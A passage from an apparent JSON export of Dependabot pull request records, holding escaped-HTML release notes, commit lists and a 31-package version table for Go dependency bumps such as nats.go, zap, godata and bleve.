(\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/0099a322759de0aa0c05f1d18281c65ab2f516b4\"\u003e\u003ccode\u003e0099a32\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix deprecation warnings by bumping GH actions to their latest ver...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e23b40df651299adb61ffd593a429db7afa231c3\"\u003e\u003ccode\u003ee23b40d\u003c/code\u003e\u003c/a\u003e [FIXED] Deadlock in Consume() whe calling Stop/Drain from ConsumeErrHandler (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/1250dd658d7daf729bd4146febe9e1c3b6e10b93\"\u003e\u003ccode\u003e1250dd6\u003c/code\u003e\u003c/a\u003e [ADDED] Automatic reconnect on write error option (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e4a8c79c93097cc7abd239f757e2218f0520fb02\"\u003e\u003ccode\u003ee4a8c79\u003c/code\u003e\u003c/a\u003e [ADDED] Option to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/9a88c4caea9eb8162127a53bdc6c22ca63480012\"\u003e\u003ccode\u003e9a88c4c\u003c/code\u003e\u003c/a\u003e Update Claude workflow permissions to contents:read and actions:read (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2056\"\u003e#2056\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/f945cd94fd0aad53ae6cc0623150c5d82d6beb06\"\u003e\u003ccode\u003ef945cd9\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix typos (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/4bba5713456124ebdfc2655f685d722792252fba\"\u003e\u003ccode\u003e4bba571\u003c/code\u003e\u003c/a\u003e [FIXED] Make websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.37.0...v1.51.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `go.uber.org/zap` from 1.27.1 to 1.28.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/uber-go/zap/releases\"\u003ego.uber.org/zap's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.28.0\u003c/h2\u003e\n\u003cp\u003eEnhancements:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/uber-go/zap/issues/1534\"\u003e#1534\u003c/a\u003e[]: Add \u003ccode\u003ezapcore.CheckPreWriteHook\u003c/code\u003e and \u003ccode\u003eCheckedEntry.Before\u003c/code\u003e method for transforming entries before they are written to any Cores.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/uber-go/zap/issues/1534\"\u003e#1534\u003c/a\u003e: \u003ca href=\"https://redirect.github.com/uber-go/zap/pull/1534\"\u003euber-go/zap#1534\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/uber-go/zap/blob/master/CHANGELOG.md\"\u003ego.uber.org/zap's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.28.0 (27 Apr 2026)\u003c/h2\u003e\n\u003cp\u003eEnhancements:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/uber-go/zap/issues/1534\"\u003e#1534\u003c/a\u003e[]: Add \u003ccode\u003ezapcore.CheckPreWriteHook\u003c/code\u003e and \u003ccode\u003eCheckedEntry.Before\u003c/code\u003e method for transforming entries before they are written to any Cores.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber-go/zap/commit/5b81b37b81b8e2ed447a6f57991e372ee4fa5c8f\"\u003e\u003ccode\u003e5b81b37\u003c/code\u003e\u003c/a\u003e release v1.28.0 (\u003ca href=\"https://redirect.github.com/uber-go/zap/issues/1547\"\u003e#1547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber-go/zap/commit/0ab0d5aae5986395e2ca497385d977ccd7cdfc5e\"\u003e\u003ccode\u003e0ab0d5a\u003c/code\u003e\u003c/a\u003e zapcore: Add PreWriteHook for transforming entries before write (\u003ca href=\"https://redirect.github.com/uber-go/zap/issues/1534\"\u003e#1534\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber-go/zap/commit/d278c5962cb0f7423170c11a5da9b7a4edbf9b92\"\u003e\u003ccode\u003ed278c59\u003c/code\u003e\u003c/a\u003e [chore] CI: test on Go 1.26 (\u003ca href=\"https://redirect.github.com/uber-go/zap/issues/1535\"\u003e#1535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber-go/zap/commit/16fb16b353f2e27bcd71eba69cbd346b3dcc471a\"\u003e\u003ccode\u003e16fb16b\u003c/code\u003e\u003c/a\u003e chore(dep): replace archived gopkg.in/yaml.v3 with officially maintained go.y...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/uber-go/zap/compare/v1.27.1...v1.28.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/ideaconnect/nuts/pull/9","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ideaconnect%2Fnuts/issues/9","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/9/packages"},{"uuid":"4488718180","node_id":"PR_kwDOE8yxrc7do_qe","number":2350,"state":"closed","title":"build(deps): bump the minor-and-patch group with 31 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-21T11:50:06.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-20T17:52:39.000Z","updated_at":"2026-05-21T11:50:09.000Z","time_to_close":64647,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps): bump","group_name":"minor-and-patch","update_count":31,"packages":[{"name":"github.com/CiscoM31/godata","old_version":"1.0.10","new_version":"1.0.11","repository_url":"https://github.com/CiscoM31/godata"},{"name":"github.com/blevesearch/bleve/v2","old_version":"2.5.7","new_version":"2.6.0","repository_url":"https://github.com/blevesearch/bleve"},{"name":"github.com/coreos/go-oidc/v3","old_version":"3.17.0","new_version":"3.18.0","repository_url":"https://github.com/coreos/go-oidc"},{"name":"github.com/davidbyttow/govips/v2","old_version":"2.16.0","new_version":"2.18.0","repository_url":"https://github.com/davidbyttow/govips"},{"name":"github.com/gabriel-vasile/mimetype","old_version":"1.4.12","new_version":"1.4.13","repository_url":"https://github.com/gabriel-vasile/mimetype"},{"name":"github.com/go-ldap/ldap/v3","old_version":"3.4.12","new_version":"3.4.13","repository_url":"https://github.com/go-ldap/ldap"},{"name":"github.com/go-playground/validator/v10","old_version":"10.30.1","new_version":"10.30.2","repository_url":"https://github.com/go-playground/validator"},{"name":"github.com/gookit/config/v2","old_version":"2.2.7","new_version":"2.2.8","repository_url":"https://github.com/gookit/config"},{"name":"github.com/grpc-ecosystem/grpc-gateway/v2","old_version":"2.28.0","new_version":"2.29.0","repository_url":"https://github.com/grpc-ecosystem/grpc-gateway"},{"name":"github.com/kovidgoyal/imaging","old_version":"1.8.19","new_version":"1.8.21","repository_url":"https://github.com/kovidgoyal/imaging"},{"name":"github.com/libregraph/lico","old_version":"0.66.0","new_version":"0.67.0","repository_url":"https://github.com/libregraph/lico"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.14.1","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/nats-io/nats.go","old_version":"1.49.0","new_version":"1.51.0","repository_url":"https://github.com/nats-io/nats.go"},{"name":"github.com/olekukonko/tablewriter","old_version":"1.1.0","new_version":"1.1.4","repository_url":"https://github.com/olekukonko/tablewriter"},{"name":"github.com/onsi/ginkgo/v2","old_version":"2.28.1","new_version":"2.29.0","repository_url":"https://github.com/onsi/ginkgo"},{"name":"github.com/onsi/gomega","old_version":"1.39.0","new_version":"1.40.0","repository_url":"https://github.com/onsi/gomega"},{"name":"github.com/open-policy-agent/opa","old_version":"1.12.3","new_version":"1.16.2","repository_url":"https://github.com/open-policy-agent/opa"},{"name":"github.com/rs/zerolog","old_version":"1.34.0","new_version":"1.35.1","repository_url":"https://github.com/rs/zerolog"},{"name":"github.com/tidwall/gjson","old_version":"1.18.0","new_version":"1.19.0","repository_url":"https://github.com/tidwall/gjson"},{"name":"github.com/tus/tusd/v2","old_version":"2.9.1","new_version":"2.9.2","repository_url":"https://github.com/tus/tusd"},{"name":"go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc","old_version":"0.65.0","new_version":"0.68.0","repository_url":"https://github.com/open-telemetry/opentelemetry-go-contrib"},{"name":"go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp","old_version":"0.64.0","new_version":"0.68.0","repository_url":"https://github.com/open-telemetry/opentelemetry-go-contrib"},{"name":"go.opentelemetry.io/contrib/zpages","old_version":"0.64.0","new_version":"0.68.0","repository_url":"https://github.com/open-telemetry/opentelemetry-go-contrib"},{"name":"golang.org/x/crypto","old_version":"0.50.0","new_version":"0.51.0","repository_url":"https://github.com/golang/crypto"},{"name":"golang.org/x/image","old_version":"0.39.0","new_version":"0.40.0","repository_url":"https://github.com/golang/image"},{"name":"golang.org/x/net","old_version":"0.53.0","new_version":"0.54.0","repository_url":"https://github.com/golang/net"},{"name":"golang.org/x/oauth2","old_version":"0.35.0","new_version":"0.36.0","repository_url":"https://github.com/golang/oauth2"},{"name":"golang.org/x/term","old_version":"0.42.0","new_version":"0.43.0","repository_url":"https://github.com/golang/term"},{"name":"golang.org/x/text","old_version":"0.36.0","new_version":"0.37.0","repository_url":"https://github.com/golang/text"},{"name":"google.golang.org/genproto/googleapis/api","old_version":"0.0.0-20260401024825-9d38bb4040a9","new_version":"0.0.0-20260414002931-afd174a4e478","repository_url":"https://github.com/googleapis/go-genproto"},{"name":"google.golang.org/grpc","old_version":"1.80.0","new_version":"1.81.1","repository_url":"https://github.com/grpc/grpc-go"}],"path":null,"ecosystem":"go"},"body":"Bumps the minor-and-patch group with 31 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [github.com/CiscoM31/godata](https://github.com/CiscoM31/godata) | `1.0.10` | `1.0.11` |\n| [github.com/blevesearch/bleve/v2](https://github.com/blevesearch/bleve) | `2.5.7` | `2.6.0` |\n| [github.com/coreos/go-oidc/v3](https://github.com/coreos/go-oidc) | `3.17.0` | `3.18.0` |\n| [github.com/davidbyttow/govips/v2](https://github.com/davidbyttow/govips) | `2.16.0` | `2.18.0` |\n| [github.com/gabriel-vasile/mimetype](https://github.com/gabriel-vasile/mimetype) | `1.4.12` | `1.4.13` |\n| [github.com/go-ldap/ldap/v3](https://github.com/go-ldap/ldap) | `3.4.12` | `3.4.13` |\n| [github.com/go-playground/validator/v10](https://github.com/go-playground/validator) | `10.30.1` | `10.30.2` |\n| [github.com/gookit/config/v2](https://github.com/gookit/config) | `2.2.7` | `2.2.8` |\n| [github.com/grpc-ecosystem/grpc-gateway/v2](https://github.com/grpc-ecosystem/grpc-gateway) | `2.28.0` | `2.29.0` |\n| [github.com/kovidgoyal/imaging](https://github.com/kovidgoyal/imaging) | `1.8.19` | `1.8.21` |\n| [github.com/libregraph/lico](https://github.com/libregraph/lico) | `0.66.0` | `0.67.0` |\n| [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) | `2.12.6` | `2.14.1` |\n| [github.com/nats-io/nats.go](https://github.com/nats-io/nats.go) | `1.49.0` | `1.51.0` |\n| [github.com/olekukonko/tablewriter](https://github.com/olekukonko/tablewriter) | `1.1.0` | `1.1.4` |\n| [github.com/onsi/ginkgo/v2](https://github.com/onsi/ginkgo) | `2.28.1` | `2.29.0` |\n| [github.com/onsi/gomega](https://github.com/onsi/gomega) | `1.39.0` | `1.40.0` |\n| [github.com/open-policy-agent/opa](https://github.com/open-policy-agent/opa) | `1.12.3` | `1.16.2` |\n| [github.com/rs/zerolog](https://github.com/rs/zerolog) | `1.34.0` | `1.35.1` |\n| [github.com/tidwall/gjson](https://github.com/tidwall/gjson) | `1.18.0` | `1.19.0` |\n| [github.com/tus/tusd/v2](https://github.com/tus/tusd) | `2.9.1` | `2.9.2` |\n| [go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc](https://github.com/open-telemetry/opentelemetry-go-contrib) | `0.65.0` | `0.68.0` |\n| [go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp](https://github.com/open-telemetry/opentelemetry-go-contrib) | `0.64.0` | `0.68.0` |\n| [go.opentelemetry.io/contrib/zpages](https://github.com/open-telemetry/opentelemetry-go-contrib) | `0.64.0` | `0.68.0` |\n| [golang.org/x/crypto](https://github.com/golang/crypto) | `0.50.0` | `0.51.0` |\n| [golang.org/x/image](https://github.com/golang/image) | `0.39.0` | `0.40.0` |\n| [golang.org/x/net](https://github.com/golang/net) | `0.53.0` | `0.54.0` |\n| [golang.org/x/oauth2](https://github.com/golang/oauth2) | `0.35.0` | `0.36.0` |\n| [golang.org/x/term](https://github.com/golang/term) | `0.42.0` | `0.43.0` |\n| [golang.org/x/text](https://github.com/golang/text) | `0.36.0` | `0.37.0` |\n| [google.golang.org/genproto/googleapis/api](https://github.com/googleapis/go-genproto) | `0.0.0-20260401024825-9d38bb4040a9` | `0.0.0-20260414002931-afd174a4e478` |\n| [google.golang.org/grpc](https://github.com/grpc/grpc-go) | `1.80.0` | `1.81.1` |\n\nUpdates `github.com/CiscoM31/godata` from 1.0.10 to 1.0.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/CiscoM31/godata/releases\"\u003egithub.com/CiscoM31/godata's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.0.11\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cp\u003eImprove geo spacial query support\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSupport geo.distance() and geo.intersects() queries\u003c/li\u003e\n\u003cli\u003eAdd support for Edm.GeographyPoint type\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eChanges to existing behavior\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTreat geo.intersects() function as having a boolean return value. fixes prior bug where it was treated as non-boolean\u003c/li\u003e\n\u003cli\u003eChange parsing of Edm.GeographyPoint literal to parse into Token.Value as string '\u003c!-- raw HTML omitted --\u003e \u003c!-- raw HTML omitted --\u003e'\u003c/li\u003e\n\u003cli\u003eChange parsing of Edm.GeographyPolygon and Edm.GeometryPolygon literal to parse into Token.Value as string '\u003c!-- raw HTML omitted --\u003e \u003c!-- raw HTML omitted --\u003e,\u003c!-- raw HTML omitted --\u003e \u003c!-- raw HTML omitted --\u003e...'\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/CiscoM31/godata/compare/v1.0.10...v1.0.11\"\u003ehttps://github.com/CiscoM31/godata/compare/v1.0.10...v1.0.11\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/a12ce3f09a3cfa053408a1d7d44db9d9576d9de1\"\u003e\u003ccode\u003ea12ce3f\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/CiscoM31/godata/issues/47\"\u003e#47\u003c/a\u003e from CiscoM31/geo\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/c493bc19e382bad421beb9691969f4582d432e08\"\u003e\u003ccode\u003ec493bc1\u003c/code\u003e\u003c/a\u003e add additional geo.distance tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/799664ad0ecc84cb7c3a204fa86e6f9abd89b59f\"\u003e\u003ccode\u003e799664a\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master-intersight' into geo\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/3230bb158f06ed8dc2ad864e3c13c3aec88ceb6a\"\u003e\u003ccode\u003e3230bb1\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/CiscoM31/godata/issues/48\"\u003e#48\u003c/a\u003e from CiscoM31/fix-ci\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/24589109dc049fde03a3d9cb6ecce6cc4e26da1c\"\u003e\u003ccode\u003e2458910\u003c/code\u003e\u003c/a\u003e use latest golangci-lint version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/4798311032539d400af290ea06eb8fd0a70da780\"\u003e\u003ccode\u003e4798311\u003c/code\u003e\u003c/a\u003e bump workflow actions/checkout to v3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/7198fd486249304de0fb4e46fab2a99ad6e46b66\"\u003e\u003ccode\u003e7198fd4\u003c/code\u003e\u003c/a\u003e update workflow golangci-lint-action to v3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/8e0bcc5f62bc8010da6081fc06db3b8eb71d487d\"\u003e\u003ccode\u003e8e0bcc5\u003c/code\u003e\u003c/a\u003e change 'dot import' to 'named import'. dot imports are a discouraged practice...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/dc2f4905d10429ac5bb3ed9020b91fd198c66e90\"\u003e\u003ccode\u003edc2f490\u003c/code\u003e\u003c/a\u003e bump golangci-lint to v2.1.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/CiscoM31/godata/commit/4a20a72571b8c1763804145f458a68fee83e3321\"\u003e\u003ccode\u003e4a20a72\u003c/code\u003e\u003c/a\u003e Improve query to tree parsing for geo spacial types\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/CiscoM31/godata/compare/v1.0.10...v1.0.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/blevesearch/bleve/v2` from 2.5.7 to 2.6.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/blevesearch/bleve/releases\"\u003egithub.com/blevesearch/bleve/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.6.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMB-69881: Improved APIs and perf optimizations for vector search by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2270\"\u003eblevesearch/bleve#2270\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-27666: Hierarchy Search by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e ; see \u003ca href=\"https://github.com/blevesearch/bleve/blob/v2.6.0/docs/hierarchy.md\"\u003edocs/hierarchy.md\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRemove legacy vendor folder by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2271\"\u003eblevesearch/bleve#2271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpgrade several dependencies - roaring/v2, mmap-go etc. by \u003ca href=\"https://github.com/abhinavdangeti\"\u003e\u003ccode\u003e@​abhinavdangeti\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2275\"\u003eblevesearch/bleve#2275\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-59633: Improve performance of Geospatial Search by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2268\"\u003eblevesearch/bleve#2268\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-70388: Add forced docvalues for geopoint fields by \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2278\"\u003eblevesearch/bleve#2278\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-70410: Simplify \u003ccode\u003eCoalesceQueue\u003c/code\u003e in hierarchical nested search by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2283\"\u003eblevesearch/bleve#2283\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-61890 - Introducing config for zap layer by \u003ca href=\"https://github.com/Thejas-bhat\"\u003e\u003ccode\u003e@​Thejas-bhat\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2066\"\u003eblevesearch/bleve#2066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle \u003ccode\u003enil\u003c/code\u003e multiSearchParams properly for \u003ccode\u003eMultiSearch\u003c/code\u003e by \u003ca href=\"https://github.com/capemox\"\u003e\u003ccode\u003e@​capemox\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2286\"\u003eblevesearch/bleve#2286\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-59633: Disable DocValues Chunking \u0026amp; Compression for Geo Fields by \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2269\"\u003eblevesearch/bleve#2269\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImproved geo spatial search accuracy by \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/geo/pull/29\"\u003eblevesearch/geo#29\u003c/a\u003e \u0026amp; \u003ca href=\"https://redirect.github.com/blevesearch/geo/pull/30\"\u003eblevesearch/geo#30\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-62985: Support for Binary quantized vector indexes \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e ; see \u003ca href=\"https://github.com/blevesearch/bleve/blob/v2.6.0/docs/vectors.md\"\u003edocs/vectors.md\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-62182: New merge approach that avoids re-training of vector indexes \u003ca href=\"https://github.com/Thejas-bhat\"\u003e\u003ccode\u003e@​Thejas-bhat\u003c/code\u003e\u003c/a\u003e ; see \u003ca href=\"https://github.com/blevesearch/bleve/blob/v2.6.0/docs/fast_merge.md\"\u003edocs/fast_merge.md\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-71041: avoid updating \u003ccode\u003eroot.bolt\u003c/code\u003e with in-memory segment's data by \u003ca href=\"https://github.com/Thejas-bhat\"\u003e\u003ccode\u003e@​Thejas-bhat\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2296\"\u003eblevesearch/bleve#2296\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-65018 add custom_filter/custom_score query support with context-driven callback hooks by \u003ca href=\"https://github.com/maneuvertomars\"\u003e\u003ccode\u003e@​maneuvertomars\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2289\"\u003eblevesearch/bleve#2289\u003c/a\u003e ; see \u003ca href=\"https://github.com/blevesearch/bleve/blob/v2.6.0/docs/custom_query.md\"\u003edocs/custom_query.md\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-65860: Introducing support for fileIO Callbacks by \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2209\"\u003eblevesearch/bleve#2209\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e(perf) pool queryStringLex to reuse bufio.Reader across query parses by \u003ca href=\"https://github.com/huynhanx03\"\u003e\u003ccode\u003e@​huynhanx03\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2300\"\u003eblevesearch/bleve#2300\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003enull\u003c/code\u003e issue when parsing search request attributes by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2312\"\u003eblevesearch/bleve#2312\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-71375: Bolt Wrappers for File Callbacks by \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2309\"\u003eblevesearch/bleve#2309\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbsorb fixes for filtering vector search, update workflows by \u003ca href=\"https://github.com/abhinavdangeti\"\u003e\u003ccode\u003e@​abhinavdangeti\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2314\"\u003eblevesearch/bleve#2314\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-59670: GPU-Accelerated Vector Search by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e \u0026amp; \u003ca href=\"https://github.com/capemox\"\u003e\u003ccode\u003e@​capemox\u003c/code\u003e\u003c/a\u003e ; see \u003ca href=\"https://github.com/blevesearch/bleve/blob/v2.6.0/docs/vectors.md\"\u003edocs/vectors.md\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-71383: Expose vector field stats in scorch by \u003ca 